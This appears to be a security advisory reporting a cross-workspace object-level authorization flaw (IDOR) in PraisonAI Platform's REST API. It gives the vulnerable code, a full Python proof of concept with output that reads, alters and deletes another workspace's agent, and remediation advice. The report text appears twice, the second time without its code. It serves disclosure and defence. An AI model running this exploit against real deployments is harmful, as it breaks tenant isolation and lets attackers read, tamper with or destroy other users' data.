Summary
PraisonAI Platform's workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object's global UUID.
The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the workspace_id provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.
As a result, a valid member of workspace_attacker can call a route under:
/api/v1/workspaces/{workspace_attacker}/...
while supplying an object UUID from workspace_victim. The server authorizes the request based on membership in workspace_attacker, then fetches or mutates the victim object by global UUID.
This breaks the platform's workspace isolation boundary.
Details
The root cause is that workspace membership authorization and object ownership validation are not bound together.
The workspace dependency validates only that the caller is a member of the workspace named in the URL:
# praisonai_platform/api/deps.py
async def require_workspace_member(
workspace_id: str,
user: AuthIdentity = Depends(get_current_user),
session: AsyncSession = Depends(get_db),
min_role: str = "member",
) -> AuthIdentity:
member_svc = MemberService(session)
has = await member_svc.has_role(workspace_id, user.id, min_role)This confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.
For example, the agent routes are scoped under a workspace path, but object access is performed using only the raw agent_id:
# praisonai_platform/api/routes/agents.py
@router.get("/{agent_id}", response_model=AgentResponse)
async def get_agent(workspace_id: str, agent_id: str, ...):
agent = await svc.get(agent_id)
return AgentResponse.model_validate(agent)The service method resolves the agent by global UUID only:
# praisonai_platform/services/agent_service.py
async def get(self, agent_id: str) -> Optional[Agent]:
return await self._session.get(Agent, agent_id)The same pattern is used for update and delete operations:
# praisonai_platform/api/routes/agents.py
agent = await svc.update(agent_id, ...)
deleted = await svc.delete(agent_id)
# praisonai_platform/services/agent_service.py
agent = await self.get(agent_id)
...
await self._session.delete(agent)
There is no check equivalent to:
agent.workspace_id == workspace_id
Therefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.
The same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:
# praisonai_platform/api/routes/projects.py
project = await svc.get(project_id)
project = await svc.update(project_id, ...)
deleted = await svc.delete(project_id)
# praisonai_platform/services/project_service.py
return await self._session.get(Project, project_id)
# praisonai_platform/api/routes/issues.py
issue = await svc.get(issue_id)
issue = await svc.update(issue_id, ...)
deleted = await svc.delete(issue_id)
comments = await svc.list_for_issue(issue_id)
# praisonai_platform/services/issue_service.py
return await self._session.get(Issue, issue_id)
# praisonai_platform/services/comment_service.py
select(Comment).where(Comment.issue_id == issue_id)
This indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.
PoC
The following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.
The PoC demonstrates the following chain:
- An attacker account creates
workspace_attacker.
- A victim account creates
workspace_victim.
- The victim creates an agent in
workspace_victim.
- The attacker sends:
GET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}
- The server returns the victim agent from
workspace_victim.
- The attacker updates the victim agent through the attacker workspace path.
- The victim observes the attacker-controlled modification.
- The attacker deletes the victim agent through the attacker workspace path.
Run with:
PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py
Full PoC:
#!/usr/bin/env python3
from __future__ import annotations
import asyncio
import os
import sys
import types
import uuid
from pathlib import Path
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
def verify_source() -> None:
expected = {
PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
'min_role: str = "member"',
"member_svc.has_role(workspace_id, user.id, min_role)",
],
PLATFORM_ROOT / "praisonai_platform/api/routes/agents.py": [
'@router.get("/{agent_id}", response_model=AgentResponse)',
"agent = await svc.get(agent_id)",
'@router.patch("/{agent_id}", response_model=AgentResponse)',
"agent = await svc.update(",
'@router.delete("/{agent_id}", status_code=status.HTTP_204_NO_CONTENT)',
"deleted = await svc.delete(agent_id)",
],
PLATFORM_ROOT / "praisonai_platform/services/agent_service.py": [
"return await self._session.get(Agent, agent_id)",
"agent = await self.get(agent_id)",
"await self._session.delete(agent)",
],
}
for path, needles in expected.items():
if not path.exists():
raise RuntimeError(f"source verification failed: file not found: {path}")
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
async def main() -> int:
verify_source()
sys.path.insert(0, str(PLATFORM_ROOT))
sys.path.insert(0, str(AGENTS_ROOT))
if "passlib" not in sys.modules:
passlib_pkg = types.ModuleType("passlib")
passlib_pkg.__path__ = []
sys.modules["passlib"] = passlib_pkg
if "passlib.context" not in sys.modules:
passlib_context = types.ModuleType("passlib.context")
class _CryptContext:
def __init__(self, *args, **kwargs):
pass
def hash(self, password: str) -> str:
return f"stub::{password}"
def verify(self, password: str, hashed: str) -> bool:
return hashed == f"stub::{password}"
passlib_context.CryptContext = _CryptContext
sys.modules["passlib.context"] = passlib_context
os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"
from praisonai_platform.api.app import create_app
from praisonai_platform.db.base import Base, reset_engine
from praisonai_platform.db import base as base_mod
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
suffix = uuid.uuid4().hex[:8]
password = "Password123!"
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
attacker = await client.post(
"/api/v1/auth/register",
json={
"email": f"attacker_{suffix}@example.com",
"password": password,
"name": f"attacker_{suffix}",
},
)
victim = await client.post(
"/api/v1/auth/register",
json={
"email": f"victim_{suffix}@example.com",
"password": password,
"name": f"victim_{suffix}",
},
)
attacker_json = attacker.json()
victim_json = victim.json()
attacker_headers = {"Authorization": f"Bearer {attacker_json['token']}"}
victim_headers = {"Authorization": f"Bearer {victim_json['token']}"}
attacker_ws = await client.post(
"/api/v1/workspaces/",
json={
"name": f"attacker-ws-{suffix}",
"slug": f"attacker-ws-{suffix}",
"description": "attacker workspace",
},
headers=attacker_headers,
)
victim_ws = await client.post(
"/api/v1/workspaces/",
json={
"name": f"victim-ws-{suffix}",
"slug": f"victim-ws-{suffix}",
"description": "victim workspace",
},
headers=victim_headers,
)
attacker_workspace_id = attacker_ws.json()["id"]
victim_workspace_id = victim_ws.json()["id"]
victim_agent = await client.post(
f"/api/v1/workspaces/{victim_workspace_id}/agents/",
json={
"name": "victim-agent",
"runtime_mode": "local",
"instructions": "secret instructions",
},
headers=victim_headers,
)
victim_agent_id = victim_agent.json()["id"]
attacker_read = await client.get(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
headers=attacker_headers,
)
attacker_update = await client.patch(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
json={"instructions": "pwned-by-attacker"},
headers=attacker_headers,
)
victim_read_after_update = await client.get(
f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
headers=victim_headers,
)
attacker_delete = await client.delete(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
headers=attacker_headers,
)
victim_read_after_delete = await client.get(
f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
headers=victim_headers,
)
print(f"[poc] attacker_workspace={attacker_workspace_id}")
print(f"[poc] victim_workspace={victim_workspace_id}")
print(f"[poc] victim_agent_id={victim_agent_id}")
print(
"[poc] attacker_read_status="
f"{attacker_read.status_code} "
f"workspace_id={attacker_read.json().get('workspace_id')} "
f"instructions={attacker_read.json().get('instructions')}"
)
print(
"[poc] attacker_update_status="
f"{attacker_update.status_code} "
f"instructions={attacker_update.json().get('instructions')}"
)
print(
"[poc] victim_read_after_update_status="
f"{victim_read_after_update.status_code} "
f"instructions={victim_read_after_update.json().get('instructions')}"
)
print(f"[poc] attacker_delete_status={attacker_delete.status_code}")
print(f"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}")
if attacker_read.status_code != 200:
raise SystemExit("[poc] MISS: attacker could not read victim agent")
if attacker_read.json().get("workspace_id") != victim_workspace_id:
raise SystemExit("[poc] MISS: read response was not the victim workspace agent")
if attacker_update.status_code != 200 or attacker_update.json().get("instructions") != "pwned-by-attacker":
raise SystemExit("[poc] MISS: attacker could not update victim agent")
if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get("instructions") != "pwned-by-attacker":
raise SystemExit("[poc] MISS: victim did not observe attacker-controlled update")
if attacker_delete.status_code != 204:
raise SystemExit("[poc] MISS: attacker could not delete victim agent")
if victim_read_after_delete.status_code != 404:
raise SystemExit("[poc] MISS: victim agent still existed after attacker delete")
print("[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent")
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
return 0
if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))Observed result:
[poc] attacker_workspace=3f7c...
[poc] victim_workspace=be1d...
[poc] victim_agent_id=7f04...
[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions
[poc] attacker_update_status=200 instructions=pwned-by-attacker
[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker
[poc] attacker_delete_status=204
[poc] victim_read_after_delete_status=404
[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent
This confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object's UUID through the attacker's own workspace-scoped route.
Impact
Any authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:
- read other workspaces' agents;
- read agent instructions and metadata;
- modify victim agents;
- delete victim agents;
- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;
- enumerate comments for issues by raw
issue_id;
- corrupt activity data, project state, and issue state across workspace boundaries.
This breaks the platform's tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.
The demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.
Suggested remediation
Recommended fixes:
-
Require every object fetch, update, and delete method to take both workspace_id and object_id.
-
Enforce object ownership in the service layer. For example:
agent = await self._session.get(Agent, agent_id)
if not agent or agent.workspace_id != workspace_id:
return None
-
Avoid service methods that resolve workspace-owned objects by global UUID alone.
-
Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.
-
For comment and dependency helpers that pivot from raw issue_id, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.
-
Add regression tests for negative cross-workspace access cases, including:
workspace A member cannot read workspace B object
workspace A member cannot update workspace B object
workspace A member cannot delete workspace B object
workspace A member cannot list comments for workspace B issue
- Return
404 Not Found or 403 Forbidden consistently when an object does not belong to the authorized workspace.
Security boundary
This report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.
References
beanduan22 Reporter
Summary
PraisonAI Platform's workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object's global UUID.
The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the
workspace_idprovided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.As a result, a valid member of
workspace_attackercan call a route under:while supplying an object UUID from
workspace_victim. The server authorizes the request based on membership inworkspace_attacker, then fetches or mutates the victim object by global UUID.This breaks the platform's workspace isolation boundary.
Details
The root cause is that workspace membership authorization and object ownership validation are not bound together.
The workspace dependency validates only that the caller is a member of the workspace named in the URL:
This confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.
For example, the agent routes are scoped under a workspace path, but object access is performed using only the raw
agent_id:The service method resolves the agent by global UUID only:
The same pattern is used for update and delete operations:
There is no check equivalent to:
Therefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.
The same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:
This indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.
PoC
The following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.
The PoC demonstrates the following chain:
workspace_attacker.workspace_victim.workspace_victim.workspace_victim.Run with:
Full PoC:
Observed result:
This confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object's UUID through the attacker's own workspace-scoped route.
Impact
Any authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:
issue_id;This breaks the platform's tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.
The demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.
Suggested remediation
Recommended fixes:
Require every object fetch, update, and delete method to take both
workspace_idandobject_id.Enforce object ownership in the service layer. For example:
Avoid service methods that resolve workspace-owned objects by global UUID alone.
Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.
For comment and dependency helpers that pivot from raw
issue_id, validate that the parent issue belongs to the authorized workspace before returning or modifying child records.Add regression tests for negative cross-workspace access cases, including:
404 Not Foundor403 Forbiddenconsistently when an object does not belong to the authorized workspace.Security boundary
This report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.
References